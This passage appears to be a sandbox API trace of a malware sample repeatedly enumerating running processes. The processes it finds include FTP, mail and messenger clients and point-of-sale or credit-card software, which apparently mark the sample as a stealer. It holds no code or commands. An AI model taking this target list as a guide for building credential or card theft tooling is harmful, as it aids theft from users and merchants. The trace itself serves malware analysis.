szExeFile="taskhostw.exe")) returned 1 [0236.040] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.041] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.071] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0236.074] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.077] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.079] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0236.081] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.083] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.086] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.088] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.091] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.094] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.096] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0236.099] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0236.101] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0236.103] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0236.106] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0236.108] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0236.111] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0236.113] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0236.115] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0236.119] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0236.122] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0236.124] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0236.126] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0236.129] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0236.131] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0236.135] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0236.139] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0236.141] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0236.143] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0236.147] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0236.152] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0236.155] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0236.158] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0236.161] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0236.164] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0236.166] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0236.169] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0236.173] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0236.176] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0236.179] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0236.182] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0236.221] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0236.224] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0236.226] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0236.229] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0236.232] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0236.235] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0236.239] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0236.242] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0236.244] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0236.247] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0236.250] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0236.253] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0236.256] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0236.258] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0236.261] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0236.264] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0236.268] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0236.270] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0236.274] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0236.276] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0236.279] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0236.281] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0236.284] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0236.286] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0236.290] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0236.292] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0236.294] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0236.296] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0236.299] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0236.301] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0236.302] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0236.304] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0236.306] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0236.308] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0236.310] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0236.312] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.316] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0236.317] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.319] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0236.321] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0236.323] CloseHandle (hObject=0x148c) returned 1 [0236.323] Sleep (dwMilliseconds=0x64) [0236.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0236.380] Process32First (in: 